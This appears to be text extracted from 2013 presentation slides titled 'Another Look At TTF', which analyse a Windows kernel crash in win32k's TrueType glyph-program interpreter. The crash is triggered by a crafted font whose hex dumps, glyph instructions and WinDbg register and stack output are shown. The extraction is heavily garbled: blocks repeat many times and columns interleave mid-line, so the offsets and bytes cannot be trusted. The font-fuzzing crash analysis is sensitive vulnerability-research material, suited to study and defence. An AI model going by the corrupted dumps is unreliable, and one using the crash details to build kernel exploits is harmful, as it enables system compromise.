43 b0 b0 31 03 45 03 00 00 00 |................| |.^..............| |......BN..CEM..C| |Ea..#x..C..` ..#| |B.Pa...#x.....C | |..a ..aE..#BE..#| |BE..#B..C..P\..#| |x..C..Ca..#x..C.| |.Ca\.+#x..C..` .| |.#B.Pa\.1#x....C| |B....CB....CEB..| |....C..`E.P`..C#| |D.....C..CD17...| |.....f.........f| |.............f..| |.........r......| 00 5e a9 61 b0 01 45 b0 43 23 b0 1c b0 00 00 01 00 00 b0 b0 50 61 b0 01 61 42 02 b0 01 00 00 04 00 00 00 17 61 20 03 43 5c b0 b0 00 1f 08 03 09 00 00 b0 23 b8 b0 23 b0 b0 50 03 43 b0 00 00 00 00 01 00 78 ff 01 42 02 2b 61 43 b0 00 66 01 02 00000: 00002: 00004: 00005: 00006: 00008: 00009: 0000A: 0000B: 00 00 42 b0 df 61 b0 43 23 5c 42 03 43 00 04 00 00 00 4e 00 23 45 01 61 78 b0 b0 60 b0 03 09 0e 00 00 00 b0 b0 01 b0 0d 00 23 b0 b0 43 01 01 72 PUSHB 0 PUSHB 0 WS FLIPOFF PUSHB 0 RS RCVT FLIPON PUSHB 0 00 00 43 01 80 23 00 23 43 78 00 50 44 04 00 00 00 01 45 60 1c 42 50 78 b0 b0 43 60 31 09 0c 03 00 00 4d 20 b0 45 5c b0 01 01 45 b0 37 00 00 00 00 01 b0 b0 00 b0 b0 01 60 b0 42 00 01 00 66 01 00 00 00 00 43 02 18 43 20 02 b8 43 01 00 00 04 00 01 43 23 20 23 23 b0 b0 43 ff 23 00 66 03 09 GLYF Program ... 00000060 00000070 00000080 ... 0003bad0 0003bae0 0003baf0 0003bb00 0003bb10 0003bb20 0003bb30 0003bb40 0003bb50 0003bb60 0003bb70 0003bb80 0003bb90 0003bba0 0003bbb0 0003bbc0 ... Friday, March 8, 2013 00 00 00 00 00 03 ba d0 7f 06 e9 00 00 00 01 0c 18 d3 69 4b 00 03 ba e4 00 00 00 02 66 70 67 6d 00 03 b8 9b 67 6c 79 66 00 00 00 bc 68 65 61 64 |............fpgm| |............glyf| |..iK........head| 00 00 00 45 42 b0 42 78 03 00 42 b5 44 00 00 00 00 00 b0 43 78 b0 43 b0 b0 31 03 45 03 00 00 00 |................| |.^..............| |......BN..CEM..C| |Ea..#x..C..` ..#| |B.Pa...#x.....C | |..a ..aE..#BE..#| |BE..#B..C..P\..#| |x..C..Ca..#x..C.| |.Ca\.+#x..C..` .| |.#B.Pa\.1#x....C| |B....CB....CEB..| |....C..`E.P`..C#| |D.....C..CD17...| |.....f.........f| |.............f..| |.........r......| 00 5e a9 61 b0 01 45 b0 43 23 b0 1c b0 00 00 01 00 00 b0 b0 50 61 b0 01 61 42 02 b0 01 00 00 04 00 00 00 17 61 20 03 43 5c b0 b0 00 1f 08 03 09 00 00 b0 23 b8 b0 23 b0 b0 50 03 43 b0 00 00 00 00 01 00 78 ff 01 42 02 2b 61 43 b0 00 66 01 02 00000: 00002: 00004: 00005: 00006: 00008: 00009: 0000A: 0000B: 00 00 42 b0 df 61 b0 43 23 5c 42 03 43 00 04 00 00 00 4e 00 23 45 01 61 78 b0 b0 60 b0 03 09 0e 00 00 00 b0 b0 01 b0 0d 00 23 b0 b0 43 01 01 72 PUSHB 0 PUSHB 0 WS FLIPOFF PUSHB 0 RS RCVT FLIPON PUSHB 0 00 00 43 01 80 23 00 23 43 78 00 50 44 04 00 00 00 01 45 60 1c 42 50 78 b0 b0 43 60 31 09 0c 03 00 00 4d 20 b0 45 5c b0 01 01 45 b0 37 00 00 00 00 01 b0 b0 00 b0 b0 01 60 b0 42 00 01 00 66 01 00 00 00 00 43 02 18 43 20 02 b8 43 01 00 00 04 00 01 43 23 20 23 23 b0 b0 43 ff 23 00 66 03 09 GLYF Program ... 00000060 00000070 00000080 ... 0003bad0 0003bae0 0003baf0 0003bb00 0003bb10 0003bb20 0003bb30 0003bb40 0003bb50 0003bb60 0003bb70 0003bb80 0003bb90 0003bba0 0003bbb0 0003bbc0 ... Friday, March 8, 2013 00 00 00 00 00 03 ba d0 7f 06 e9 00 00 00 01 0c 18 d3 69 4b 00 03 ba e4 00 00 00 02 66 70 67 6d 00 03 b8 9b 67 6c 79 66 00 00 00 bc 68 65 61 64 |............fpgm| |............glyf| |..iK........head| 00 00 00 45 42 b0 42 78 03 00 42 b5 44 00 00 00 00 00 b0 43 78 b0 43 b0 b0 31 03 45 03 00 00 00 |................| |.^..............| |......BN..CEM..C| |Ea..#x..C..` ..#| |B.Pa...#x.....C | |..a ..aE..#BE..#| |BE..#B..C..P\..#| |x..C..Ca..#x..C.| |.Ca\.+#x..C..` .| |.#B.Pa\.1#x....C| |B....CB....CEB..| |....C..`E.P`..C#| |D.....C..CD17...| |.....f.........f| |.............f..| |.........r......| 00 5e a9 61 b0 01 45 b0 43 23 b0 1c b0 00 00 01 00 00 b0 b0 50 61 b0 01 61 42 02 b0 01 00 00 04 00 00 00 17 61 20 03 43 5c b0 b0 00 1f 08 03 09 00 00 b0 23 b8 b0 23 b0 b0 50 03 43 b0 00 00 00 00 01 00 78 ff 01 42 02 2b 61 43 b0 00 66 01 02 00000: 00002: 00004: 00005: 00006: 00008: 00009: 0000A: 0000B: 00 00 42 b0 df 61 b0 43 23 5c 42 03 43 00 04 00 00 00 4e 00 23 45 01 61 78 b0 b0 60 b0 03 09 0e 00 00 00 b0 b0 01 b0 0d 00 23 b0 b0 43 01 01 72 PUSHB 0 PUSHB 0 WS FLIPOFF PUSHB 0 RS RCVT FLIPON PUSHB 0 00 00 43 01 80 23 00 23 43 78 00 50 44 04 00 00 00 01 45 60 1c 42 50 78 b0 b0 43 60 31 09 0c 03 00 00 4d 20 b0 45 5c b0 01 01 45 b0 37 00 00 00 00 01 b0 b0 00 b0 b0 01 60 b0 42 00 01 00 66 01 00 00 00 00 43 02 18 43 20 02 b8 43 01 00 00 04 00 01 43 23 20 23 23 b0 b0 43 ff 23 00 66 03 09 GLYF Program ... 00000060 00000070 00000080 ... 0003bad0 0003bae0 0003baf0 0003bb00 0003bb10 0003bb20 0003bb30 0003bb40 0003bb50 0003bb60 0003bb70 0003bb80 0003bb90 0003bba0 0003bbb0 0003bbc0 ... Friday, March 8, 2013 00 00 00 00 00 03 ba d0 7f 06 e9 00 00 00 01 0c 18 d3 69 4b 00 03 ba e4 00 00 00 02 66 70 67 6d 00 03 b8 9b 67 6c 79 66 00 00 00 bc 68 65 61 64 |............fpgm| |............glyf| |..iK........head| 00 00 00 45 42 b0 42 78 03 00 42 b5 44 00 00 00 00 00 b0 43 78 b0 43 b0 b0 31 03 45 03 00 00 00 |................| |.^..............| |......BN..CEM..C| |Ea..#x..C..` ..#| |B.Pa...#x.....C | |..a ..aE..#BE..#| |BE..#B..C..P\..#| |x..C..Ca..#x..C.| |.Ca\.+#x..C..` .| |.#B.Pa\.1#x....C| |B....CB....CEB..| |....C..`E.P`..C#| |D.....C..CD17...| |.....f.........f| |.............f..| |.........r......| 00 5e a9 61 b0 01 45 b0 43 23 b0 1c b0 00 00 01 00 00 b0 b0 50 61 b0 01 61 42 02 b0 01 00 00 04 00 00 00 17 61 20 03 43 5c b0 b0 00 1f 08 03 09 00 00 b0 23 b8 b0 23 b0 b0 50 03 43 b0 00 00 00 00 01 00 78 ff 01 42 02 2b 61 43 b0 00 66 01 02 00000: 00002: 00004: 00005: 00006: 00008: 00009: 0000A: 0000B: 00 00 42 b0 df 61 b0 43 23 5c 42 03 43 00 04 00 00 00 4e 00 23 45 01 61 78 b0 b0 60 b0 03 09 0e 00 00 00 b0 b0 01 b0 0d 00 23 b0 b0 43 01 01 72 PUSHB 0 PUSHB 0 WS FLIPOFF PUSHB 0 RS RCVT FLIPON PUSHB 0 00 00 43 01 80 23 00 23 43 78 00 50 44 04 00 00 00 01 45 60 1c 42 50 78 b0 b0 43 60 31 09 0c 03 00 00 4d 20 b0 45 5c b0 01 01 45 b0 37 00 00 00 00 01 b0 b0 00 b0 b0 01 60 b0 42 00 01 00 66 01 00 00 00 00 43 02 18 43 20 02 b8 43 01 00 00 04 00 01 43 23 20 23 23 b0 b0 43 ff 23 00 66 03 09 LAST_CONTROL_TRANSFER: STACK_TEXT: WARNING: Frame IP b207a9a0 bf85bff7 b207a9c8 bf85f92f b207a9fc bf862709 b207aa94 bf85e8bc BUCKET_ID: from bf85bff7 to e2482368 not in any known module. Following frames may be wrong. 013abaf2 013abb9b e2481f84 0xe2482368 013abaf2 013abb9b e2481f84 win32k!itrp_ExecuteGlyphPgm+0x4c e248155c 00000001 00000000 win32k!fsg_SimpleInnerGridFit+0x103 e2481248 e2481774 e2481f84 win32k!fsg_ExecuteGlyph+0x1d3 0x7f_8_win32k!itrp_ExecuteGlyphPgm+4c Followup: MachineOwner --------kd> .tss 0x28 eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> D 013abaf2 013abaf2 b0 00 013abb02 b0 17 013abb12 50 61 013abb22 61 20 013abb32 b0 03 013abb42 01 43 013abb52 61 5c 013abb62 42 b0 Friday, March 8, 2013 b0 23 b8 b0 23 b0 b0 50 00 78 ff 01 42 02 2b 61 42 b0 df 61 b0 43 23 5c 4e 00 23 45 01 61 78 b0 b0 43 78 b0 43 b0 b0 31 00-43 b0-01 b0-80 01-23 b0-00 0d-23 00-43 23-78 45 60 1c 42 50 78 b0 b0 4d 20 b0 45 5c b0 01 01 b0 b0 00 b0 b0 01 60 b0 00 00 43 02 18 43 20 02 43 23 20 23 23 b0 b0 43 45 42 b0 42 78 03 00 42 61 b0 01 45 b0 43 23 b0 ....BN..CEM..CEa ..#x..C..` ..#B. Pa...#x.....C .. a ..aE..#BE..#BE ..#B..C..P\..#x. .C..Ca..#x..C..C a\.+#x..C..` ..# B.Pa\.1#x....CB. LAST_CONTROL_TRANSFER: STACK_TEXT: WARNING: Frame IP b207a9a0 bf85bff7 b207a9c8 bf85f92f b207a9fc bf862709 b207aa94 bf85e8bc BUCKET_ID: from bf85bff7 to e2482368 not in any known module. Following frames may be wrong. 013abaf2 013abb9b e2481f84 0xe2482368 013abaf2 013abb9b e2481f84 win32k!itrp_ExecuteGlyphPgm+0x4c e248155c 00000001 00000000 win32k!fsg_SimpleInnerGridFit+0x103 e2481248 e2481774 e2481f84 win32k!fsg_ExecuteGlyph+0x1d3 0x7f_8_win32k!itrp_ExecuteGlyphPgm+4c The pointer argument to Followup: MachineOwner --------- win32k!itrp_ExecuteGlyphPgm kd> .tss 0x28 eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> D 013abaf2 013abaf2 b0 00 013abb02 b0 17 013abb12 50 61 013abb22 61 20 013abb32 b0 03 013abb42 01 43 013abb52 61 5c 013abb62 42 b0 Friday, March 8, 2013 b0 23 b8 b0 23 b0 b0 50 00 78 ff 01 42 02 2b 61 42 b0 df 61 b0 43 23 5c 4e 00 23 45 01 61 78 b0 b0 43 78 b0 43 b0 b0 31 00-43 b0-01 b0-80 01-23 b0-00 0d-23 00-43 23-78 45 60 1c 42 50 78 b0 b0 4d 20 b0 45 5c b0 01 01 b0 b0 00 b0 b0 01 60 b0 00 00 43 02 18 43 20 02 43 23 20 23 23 b0 b0 43 45 42 b0 42 78 03 00 42 61 b0 01 45 b0 43 23 b0 ....BN..CEM..CEa ..#x..C..` ..#B. Pa...#x.....C .. a ..aE..#BE..#BE ..#B..C..P\..#x. .C..Ca..#x..C..C a\.+#x..C..` ..# B.Pa\.1#x....CB. LAST_CONTROL_TRANSFER: STACK_TEXT: WARNING: Frame IP b207a9a0 bf85bff7 b207a9c8 bf85f92f b207a9fc bf862709 b207aa94 bf85e8bc BUCKET_ID: from bf85bff7 to e2482368 not in any known module. Following frames may be wrong. 013abaf2 013abb9b e2481f84 0xe2482368 013abaf2 013abb9b e2481f84 win32k!itrp_ExecuteGlyphPgm+0x4c e248155c 00000001 00000000 win32k!fsg_SimpleInnerGridFit+0x103 e2481248 e2481774 e2481f84 win32k!fsg_ExecuteGlyph+0x1d3 0x7f_8_win32k!itrp_ExecuteGlyphPgm+4c Followup: MachineOwner 00000: PUSHB 0 --------00002: PUSHB 0 The pointer argument to win32k!itrp_ExecuteGlyphPgm 00004: WS kd> .tss 0x28 00005: FLIPOFF eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 00006: PUSHB 0 eip=e2482368 esp=b2077000 00008: RSebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc 00009: RCVT cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff0000A: FLIPON call e2482368 0000B: PUSHB 0 ... kd> D 013abaf2 013abaf2 013abb02 013abb12 013abb22 013abb32 013abb42 013abb52 013abb62 Friday, March 8, 2013 b0 b0 50 61 b0 01 61 42 00 17 61 20 03 43 5c b0 b0 23 b8 b0 23 b0 b0 50 00 78 ff 01 42 02 2b 61 42 b0 df 61 b0 43 23 5c 4e 00 23 45 01 61 78 b0 b0 43 78 b0 43 b0 b0 31 00-43 b0-01 b0-80 01-23 b0-00 0d-23 00-43 23-78 45 60 1c 42 50 78 b0 b0 4d 20 b0 45 5c b0 01 01 b0 b0 00 b0 b0 01 60 b0 00 00 43 02 18 43 20 02 43 23 20 23 23 b0 b0 43 GLYF Program from TTF 45 42 b0 42 78 03 00 42 61 b0 01 45 b0 43 23 b0 ....BN..CEM..CEa ..#x..C..` ..#B. Pa...#x.....C .. a ..aE..#BE..#BE ..#B..C..P\..#x. .C..Ca..#x..C..C a\.+#x..C..` ..# B.Pa\.1#x....CB. LAST_CONTROL_TRANSFER: STACK_TEXT: WARNING: Frame IP b207a9a0 bf85bff7 b207a9c8 bf85f92f b207a9fc bf862709 b207aa94 bf85e8bc BUCKET_ID: from bf85bff7 to e2482368 not in any known module. Following frames may be wrong. 013abaf2 013abb9b e2481f84 0xe2482368 013abaf2 013abb9b e2481f84 win32k!itrp_ExecuteGlyphPgm+0x4c e248155c 00000001 00000000 win32k!fsg_SimpleInnerGridFit+0x103 e2481248 e2481774 e2481f84 win32k!fsg_ExecuteGlyph+0x1d3 0x7f_8_win32k!itrp_ExecuteGlyphPgm+4c Ok, so what’s this? Followup: MachineOwner --------- kd> .tss 0x28 eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> D 013abb9b 013abb9b 31 37 013abbab 09 00 013abbbb 0c 00 013abbcb 03 00 013abbdb 09 00 013abbeb 18 00 013abbfb 03 00 013abc0b 70 00 Friday, March 8, 2013 01 00 66 01 04 9c 01 79 01 00 00 04 00 00 04 00 00 66 03 09 0c 03 09 72 00 00 00 00 00 00 00 00 00 00 01 03 66 01 07 69 00-08 00-03 04-09 00-1c 00-03 04-09 00-62 00-67 00 00 00 00 00 00 00 00 66 01 02 80 01 06 b4 68 00 04 00 00 04 00 00 00 03 09 0e 03 09 0c 43 74 00 00 00 00 00 00 00 00 01 01 72 01 05 66 6f 20 04 00 00 04 00 00 00 00 17........f..... ....f........... ..f...........r. ................ ......f......... ..............f. ........b...C.o. p.y.r.i.g.h.t. . LAST_CONTROL_TRANSFER: STACK_TEXT: WARNING: Frame IP b207a9a0 bf85bff7 b207a9c8 bf85f92f b207a9fc bf862709 b207aa94 bf85e8bc BUCKET_ID: from bf85bff7 to e2482368 not in any known module. Following frames may be wrong. 013abaf2 013abb9b e2481f84 0xe2482368 013abaf2 013abb9b e2481f84 win32k!itrp_ExecuteGlyphPgm+0x4c e248155c 00000001 00000000 win32k!fsg_SimpleInnerGridFit+0x103 e2481248 e2481774 e2481f84 win32k!fsg_ExecuteGlyph+0x1d3 0x7f_8_win32k!itrp_ExecuteGlyphPgm+4c Ok, so what’s this? Followup: MachineOwner --------- kd> .tss 0x28 eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 Points to the exact end of the GLYF instruction array kd> D 013abb9b 013abb9b 31 37 01 01 00 00 00 00-08 00 66 00 03 00 01 04 17........f..... (3BAE4+A9) 013abbab 09 00 00 00 66 00 00 00-03 00 01 04 09 00 01 00 ....f........... 013abbbb 013abbcb 013abbdb 013abbeb 013abbfb 013abc0b Friday, March 8, 2013 0c 03 09 18 03 70 00 00 00 00 00 00 66 01 04 9c 01 79 00 04 00 00 04 00 03 09 0c 03 09 72 00 00 00 00 00 00 01 03 66 01 07 69 04-09 00-1c 00-03 04-09 00-62 00-67 00 00 00 00 00 00 02 80 01 06 b4 68 00 00 04 00 00 00 0e 03 09 0c 43 74 00 00 00 00 00 00 72 01 05 66 6f 20 00 04 00 00 00 00 ..f...........r. ................ ......f......... ..............f. ........b...C.o. p.y.r.i.g.h.t. . ... 00000060 00 00 00 00 00 03 ba d0 00 00 00 02 66 70 67 6d |............fpgm| 00000070 7f 06 e9 00 00 from 00 01bf85bff7 0c 00 03 9b 67 6c 79 66 |............glyf| LAST_CONTROL_TRANSFER: to b8 e2482368 00000080 18 d3 69 4b 00 03 ba e4 00 00 00 bc 68 65 61 64 |..iK........head| ... STACK_TEXT: 0003bad0 00 00 IP 00 not 00 00 00 00 00 00 Following 00 00 00 00 00 |................| WARNING: Frame in 00 any00known module. frames may be wrong. 0003bae0 00 5e 00 00 00 01 00 00 00 00 00 01 00 01 00 01 |.^..............| b207a9a0 bf85bff7 013abaf2 013abb9b e2481f84 0xe2482368 0003baf0 00 a9 b0 013abaf2 00 b0 00 013abb9b 42 4e b0e2481f84 00 43 45win32k!itrp_ExecuteGlyphPgm+0x4c 4d b0 00 43 |......BN..CEM..C| b207a9c8 bf85f92f 0003bb00 45 61 b0 e248155c 17 23 78 00000001 b0 00 4300000000 b0 01 60win32k!fsg_SimpleInnerGridFit+0x103 20 b0 00 23 |Ea..#x..C..` ..#| b207a9fc bf862709 0003bb40 78 b0 01 e2481248 43 b0 02 e2481774 43 61 b0e2481f84 0d 23 78win32k!fsg_ExecuteGlyph+0x1d3 b0 01 43 b0 |x..C..Ca..#x..C.| b207aa94 bf85e8bc 0003bb70 42 b0 02 b0 03 43 42 b0 03 b0 00 43 45 42 b8 ff |B....CB....CEB..| 0003bb80 1c b0 00 43 b0 03 60 45 b0 50 60 b0 00 43 23 |....C..`E.P`..C#| BUCKET_ID:b5 0x7f_8_win32k!itrp_ExecuteGlyphPgm+4c 0003bb90 44 b0 01 1f b0 00 43 b0 03 43 44 31 37 01 01 00 |D.....C..CD17...| 0003bba0 00 00 08 00 66 00 03 00 01 04 09 00 00 00 66 |.....f.........f| Followup: 00 MachineOwner 0003bbb0 --------- 00 00 00 03 00 01 04 09 00 01 00 0c 00 66 00 03 |.............f..| 0003bbc0 00 01 04 09 00 02 00 0e 00 72 00 03 00 01 04 09 |.........r......| 0003bbd0 00 03 00 1c 00 80 00 03 00 01 04 09 00 04 00 0c |................| kd> .tss 0x28 0003bbe0 00 66 00 03 00 01ecx=e2482084 04 09 00 05edx=00000001 00 18 00 9c esi=e2481fe0 00 03 |.f..............| eax=e2481f84 ebx=e2481afc edi=013abb94 0003bbf0 00 01 04 09 00 06 00 0c 00 66 00 03 00 01 04 09 |.........f......| eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc 0003bc00 00 07 00 62 00 b4 00 43 00 6f 00 70 00 79 00 72 |...b...C.o.p.y.r| cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 0003bc10 00 69 00 67 00 68 00 74 00 20 00 a9 00 20 00 32 |.i.g.h.t. ... .2| e2482368 e8fbffffff call e2482368 ... kd> D 013abb9b 013abb9b 31 37 013abbab 09 00 013abbbb 0c 00 013abbcb 03 00 013abbdb 09 00 013abbeb 18 00 013abbfb 03 00 013abc0b 70 00 Friday, March 8, 2013 Another Look At TTF 01 00 66 01 04 9c 01 79 01 00 00 04 00 00 04 00 00 66 03 09 0c 03 09 72 00 00 00 00 00 00 00 00 00 00 01 03 66 01 07 69 00-08 00-03 04-09 00-1c 00-03 04-09 00-62 00-67 00 00 00 00 00 00 00 00 66 01 02 80 01 06 b4 68 00 04 00 00 04 00 00 00 03 09 0e 03 09 0c 43 74 00 00 00 00 00 00 00 00 01 01 72 01 05 66 6f 20 04 00 00 04 00 00 00 00 17........f..... ....f........... ..f...........r. ................ ......f......... ..............f. ........b...C.o. p.y.r.i.g.h.t. . ... 00000060 00 00 00 00 00 03 ba d0 00 00 00 02 66 70 67 6d |............fpgm| 00000070 7f 06 e9 00 00 from 00 01bf85bff7 0c 00 03 9b 67 6c 79 66 |............glyf| LAST_CONTROL_TRANSFER: to b8 e2482368 00000080 18 d3 69 4b 00 03 ba e4 00 00 00 bc 68 65 61 64 |..iK........head| ... STACK_TEXT: 0003bad0 00 00 IP 00 not 00 00 00 00 00 00 Following 00 00 00 00 00 |................| WARNING: Frame in 00 any00known module. frames may be wrong. 0003bae0 00 5e 00 00 00 01 00 00 00 00 00 01 00 01 00 01 |.^..............| b207a9a0 bf85bff7 013abaf2 013abb9b e2481f84 0xe2482368 0003baf0 00 a9 b0 013abaf2 00 b0 00 013abb9b 42 4e b0e2481f84 00 43 45win32k!itrp_ExecuteGlyphPgm+0x4c 4d b0 00 43 |......BN..CEM..C| b207a9c8 bf85f92f 0003bb00 45 61 b0 e248155c 17 23 78 00000001 b0 00 4300000000 b0 01 60win32k!fsg_SimpleInnerGridFit+0x103 20 b0 00 23 |Ea..#x..C..` ..#| b207a9fc bf862709 0003bb40 78 b0 01 e2481248 43 b0 02 e2481774 43 61 b0e2481f84 0d 23 78win32k!fsg_ExecuteGlyph+0x1d3 b0 01 43 b0 |x..C..Ca..#x..C.| b207aa94 bf85e8bc 0003bb70 42 b0 02 b0 03 43 42 b0 03 b0 00 43 45 42 b8 ff |B....CB....CEB..| 0003bb80 1c b0 00 43 b0 03 60 45 b0 50 60 b0 00 43 23 |....C..`E.P`..C#| BUCKET_ID:b5 0x7f_8_win32k!itrp_ExecuteGlyphPgm+4c 0003bb90 44 b0 01 1f b0 00 43 b0 03 43 44 31 37 01 01 00 |D.....C..CD17...| 0003bba0 00 00 08 00 66 00 03 00 01 04 09 00 00 00 66 |.....f.........f| Followup: 00 MachineOwner 0003bbb0 --------- 00 00 00 03 00 01 04 09 00 01 00 0c 00 66 00 03 |.............f..| 0003bbc0 00 01 04 09 00 02 00 0e 00 72 00 03 00 01 04 09 |.........r......| 0003bbd0 00 03 00 1c 00 80 00 03 00 01 04 09 00 04 00 0c |................| kd> .tss 0x28 0003bbe0 00 66 00 03 00 01ecx=e2482084 04 09 00 05edx=00000001 00 18 00 9c esi=e2481fe0 00 03 |.f..............| eax=e2481f84 ebx=e2481afc edi=013abb94 0003bbf0 00 01 04 09 00 06 00 0c 00 66 00 03 00 01 04 09 |.........f......| eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc 0003bc00 00 07 00 62 00 b4 00 43 00 6f 00 70 00 79 00 72 |...b...C.o.p.y.r| cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 0003bc10 00 69 00 67 00 68 00 74 00 20 00 a9 00 20 00 32 |.i.g.h.t. ... .2| e2482368 e8fbffffff call e2482368 ... GLYF is 188 bytes 3BAE4+BC=3BBA0 = start of NAME record kd> D 013abb9b 013abb9b 31 37 013abbab 09 00 013abbbb 0c 00 013abbcb 03 00 013abbdb 09 00 013abbeb 18 00 013abbfb 03 00 013abc0b 70 00 Friday, March 8, 2013 Another Look At TTF 01 00 66 01 04 9c 01 79 01 00 00 04 00 00 04 00 00 66 03 09 0c 03 09 72 00 00 00 00 00 00 00 00 00 00 01 03 66 01 07 69 00-08 00-03 04-09 00-1c 00-03 04-09 00-62 00-67 00 00 00 00 00 00 00 00 66 01 02 80 01 06 b4 68 00 04 00 00 04 00 00 00 03 09 0e 03 09 0c 43 74 00 00 00 00 00 00 00 00 01 01 72 01 05 66 6f 20 04 00 00 04 00 00 00 00 17........f..... ....f........... ..f...........r. ................ ......f......... ..............f. ........b...C.o. p.y.r.i.g.h.t. . ... 00000060 00 00 00 00 00 03 ba d0 00 00 00 02 66 70 67 6d |............fpgm| 00000070 7f 06 e9 00 00 from 00 01bf85bff7 0c 00 03 9b 67 6c 79 66 |............glyf| LAST_CONTROL_TRANSFER: to b8 e2482368 00000080 18 d3 69 4b 00 03 ba e4 00 00 00 bc 68 65 61 64 |..iK........head| ... STACK_TEXT: 0003bad0 00 00 IP 00 not 00 00 00 00 00 00 Following 00 00 00 00 00 |................| WARNING: Frame in 00 any00known module. frames may be wrong. 0003bae0 00 5e 00 00 00 01 00 00 00 00 00 01 00 01 00 01 |.^..............| b207a9a0 bf85bff7 013abaf2 013abb9b e2481f84 0xe2482368 0003baf0 00 a9 b0 013abaf2 00 b0 00 013abb9b 42 4e b0e2481f84 00 43 45win32k!itrp_ExecuteGlyphPgm+0x4c 4d b0 00 43 |......BN..CEM..C| b207a9c8 bf85f92f 0003bb00 45 61 b0 e248155c 17 23 78 00000001 b0 00 4300000000 b0 01 60win32k!fsg_SimpleInnerGridFit+0x103 20 b0 00 23 |Ea..#x..C..` ..#| b207a9fc bf862709 0003bb40 78 b0 01 e2481248 43 b0 02 e2481774 43 61 b0e2481f84 0d 23 78win32k!fsg_ExecuteGlyph+0x1d3 b0 01 43 b0 |x..C..Ca..#x..C.| b207aa94 bf85e8bc 0003bb70 42 b0 02 b0 03 43 42 b0 03 b0 00 43 45 42 b8 ff |B....CB....CEB..| 0003bb80 1c b0 00 43 b0 03 60 45 b0 50 60 b0 00 43 23 |....C..`E.P`..C#| BUCKET_ID:b5 0x7f_8_win32k!itrp_ExecuteGlyphPgm+4c 0003bb90 44 b0 01 1f b0 00 43 b0 03 43 44 31 37 01 01 00 |D.....C..CD17...| 0003bba0 00 00 08 00 66 00 03 00 01 04 09 00 00 00 66 |.....f.........f| Followup: 00 MachineOwner 0003bbb0 --------- 00 00 00 03 00 01 04 09 00 01 00 0c 00 66 00 03 |.............f..| 0003bbc0 00 01 04 09 00 02 00 0e 00 72 00 03 00 01 04 09 |.........r......| 0003bbd0 00 03 00 1c 00 80 00 03 00 01 04 09 00 04 00 0c |................| kd> .tss 0x28 0003bbe0 00 66 00 03 00 01ecx=e2482084 04 09 00 05edx=00000001 00 18 00 9c esi=e2481fe0 00 03 |.f..............| eax=e2481f84 ebx=e2481afc edi=013abb94 0003bbf0 00 01 04 09 00 06 00 0c 00 66 00 03 00 01 04 09 |.........f......| eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc 0003bc00 00 07 00 62 00 b4 00 43 00 6f 00 70 00 79 00 72 |...b...C.o.p.y.r| cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 0003bc10 00 69 00 67 00 68 00 74 00 20 00 a9 00 20 00 32 |.i.g.h.t. ... .2| e2482368 e8fbffffff call e2482368 ... I’ll explain these later This is the ‘flags’ field kd> D 013abb9b 013abb9b 31 37 013abbab 09 00 013abbbb 0c 00 013abbcb 03 00 013abbdb 09 00 013abbeb 18 00 013abbfb 03 00 013abc0b 70 00 Friday, March 8, 2013 01 00 66 01 04 9c 01 79 01 00 00 04 00 00 04 00 00 66 03 09 0c 03 09 72 00 00 00 00 00 00 00 00 00 00 01 03 66 01 07 69 00-08 00-03 04-09 00-1c 00-03 04-09 00-62 00-67 00 00 00 00 00 00 00 00 66 01 02 80 01 06 b4 68 00 04 00 00 04 00 00 00 03 09 0e 03 09 0c 43 74 00 00 00 00 00 00 00 00 01 01 72 01 05 66 6f 20 04 00 00 04 00 00 00 00 17........f..... ....f........... ..f...........r. ................ ......f......... ..............f. ........b...C.o. p.y.r.i.g.h.t. . ... 00000060 00 00 00 00 00 03 ba d0 00 00 00 02 66 70 67 6d |............fpgm| 00000070 7f 06 e9 00 00 from 00 01bf85bff7 0c 00 03 9b 67 6c 79 66 |............glyf| LAST_CONTROL_TRANSFER: to b8 e2482368 00000080 18 d3 69 4b 00 03 ba e4 00 00 00 bc 68 65 61 64 |..iK........head| ... STACK_TEXT: 0003bad0 00 00 IP 00 not 00 00 00 00 00 00 Following 00 00 00 00 00 |................| WARNING: Frame in 00 any00known module. frames may be wrong. 0003bae0 00 5e 00 00 00 01 00 00 00 00 00 01 00 01 00 01 |.^..............| b207a9a0 bf85bff7 013abaf2 013abb9b e2481f84 0xe2482368 0003baf0 00 a9 b0 013abaf2 00 b0 00 013abb9b 42 4e b0e2481f84 00 43 45win32k!itrp_ExecuteGlyphPgm+0x4c 4d b0 00 43 |......BN..CEM..C| b207a9c8 bf85f92f 0003bb00 45 61 b0 e248155c 17 23 78 00000001 b0 00 4300000000 b0 01 60win32k!fsg_SimpleInnerGridFit+0x103 20 b0 00 23 |Ea..#x..C..` ..#| b207a9fc bf862709 0003bb40 78 b0 01 